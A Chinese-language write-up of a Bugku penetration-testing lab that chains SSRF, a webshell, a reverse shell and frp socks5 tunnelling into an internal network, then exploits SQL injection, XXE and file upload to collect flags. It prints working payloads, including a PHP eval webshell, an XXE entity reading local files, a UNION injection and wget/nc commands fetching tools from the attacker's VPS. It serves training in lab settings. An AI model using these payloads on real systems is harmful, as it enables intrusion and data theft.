【渗透靶场实战】bugku渗透测试3

一、渗透测试流程思路

通过公网web网址发现ssrf漏洞-查看/etc/hosts 文件发现内网ip - 通过暴破ipC段发现存在web服务-访问web服务发现是个shell-反弹shell到vps - 使用frp建立socks5隧道 - 蚁剑连接内网web服务器 - 信息收集route,发现有两张网卡192段和10段,扫描测试发现192段有三个站点,10段只有一个站点-通过web漏洞拿下三台web服务器

实验工具

本地:kali_linux 、burp suite、物理机 、Proxifier、frpc

服务器:vps有一台 环境:frps 、 python3

二、web服务器之ssrf漏洞

随便输入点东西测试,例如127.0.0.1 发现返回首页 判断为有ssrf漏洞 ,可通过漏洞读取文件

直接使用:file:///flag 读取flag

查看内网IP ,cat /etc/hosts

发现本机内网IP为 192.168.0.2

对这个IP进行暴破:

发现在192.168.0.10/shell.php 判断发送一个get请求就可以执行系统命令

直接获取var/www/html/flag

cat flag

测试是否出网通过ping dnslog 得到该服务器出网

三、反弹shell、建立soker5隧道

首先在我们vps中 输入nc -lvvp 8080

vps 反弹到shell

上传frp

下载frp github:

fatedier/frp: A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet. (github.com)

下载完成后解压:

frpc.ini配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[common]
server_addr = 你的vpsIP
server_port = 7000 //服务器监听端口

[ssh]
type = tcp
local_ip = 127.0.0.1 //本地IP默认就好了
local_port = 22 // 本地端口
remote_port = 6000 //需要穿透转发的vps端口 意思就是将内网的22端口转发到vps的6000端口

[plugin_socks]
type = tcp
remote_port = 8000 //指定端口
plugin = socks5
plugin_user = admin //账号
plugin_passwd = admin123 //密码
use_encryption = true
use_compression = true

frp.ini配置(默认配置就好)

1
2
[common]
bind_port = 7000

保存好配置后,用python3 启动 http 服务

1
python3 -m http.server 80 //80是端口

在shell.php执行命令

1
2
url=192.168.0.10/shell.php?cmd=http://your vps ip /frpc
url=192.168.0.10/shell.php?cmd=http://your vps ip /frpc.ini

运行frps/frpc

1
./frps -c frps.ini

图下是已经连接成功

1
./frpc -c frpc.ini

连接soker5

打开Proxifier

1
2
3
4
输入<your vps ip>
port:8000
user:admin
passwd:admin123

然后Proxifier 自动连接,访问内网192.168.0.10 发现正常访问是shell是地址(图丢了就不放了)

四、内网信息收集

连接webshell

发现已知的木马是get形式 ,我们重写一个shell进去 然后用蚁剑

1
echo "<?php eval($_POST['cmd'])?>" > phpshell.php

发现$_POST 写不进去

就在本地写一个然后通过wget 下载到服务器上,然后直接连接就行了

1
2
wget <you vps ip >/phpshell.php
phpshell.php ---> <?php eval($_POST['cmd'])?>

查看路由

发现存在 192.168.0.1 /10.10.10.0

查看arp

直接输入 arp -a

发现有四个IP:

1
2
3
4
192.168.0.2 //web服务器的IP
192.168.0.10 //shell的IP
192.168.0.138 //查询页面
192.168.0.250 //登录界面

IP段扫描

前面发现有10.10.10.0 IP段

使用nmap 判断

1
2
nmap -T4 -sP 10.10.0.0/24
判断有个IP存活 10.10.0.22

信息收集结束!!

五、内网web漏洞利用

sql注入漏洞利用

访问192.168.0.138,发现是个查询页面,随便输入判断为sql注入直接查询flag

这里不用注释 因为他是直接放sql命令,没有()“” ‘这些

1
0 union select 1,2,3,flag from flag

XXE漏洞利用

访问192.168.0.250 发现是个登录界面,输入admin/admin 登录成功

但是没有反应,浏览器查看源码,抓包发现返回包有下面这些标签判断为xml

1
<code></code> <msg></msg>

这些标签 判断为xxe

payload:

1
2
3
4
5
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "/var/www/html/flag" >
]>

<user><username>&xxe;</username><password>admin</password></user>

第二个flag

1
2
3
4
5
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "/var/www/html/flag" >
]>

<user><username>&xxe;</username><password>admin</password></user>

后台文件上传

访问10.10.0.22 发现是个bugkucms

对他进行目录扫描发现有 admin.php

访问/admin.php 是个登录框,老规矩弱口令:admin/admin

登录进去发现有个可以修改文章内容的东西试一下 插入php代码,结果不解析

放弃了这个 ,再去找其他的功能,发现后台管理>文件管理可以上传文件

直接上传shell就可以了 然后连接shell.php

获取flag 一个在 根目录 一个在web目录 > /var/www/html/flag

六、总结

结果

外网 漏洞
106.15.9.142 ssrf
内网资产 漏洞 权限
192.168.0.10 存在shell
192.168.0.138 sql注入
192.168.0.250 xxe
10.10.0.22 文件上传

这个靶场非常适合渗透入门的同学,经过一次简单的渗透测试了解渗透测试的一些基本过程,当然正常渗透测试不会直接给一个shell你去连接,而且还会有很多需要绕过的,本次只是模拟渗透测试。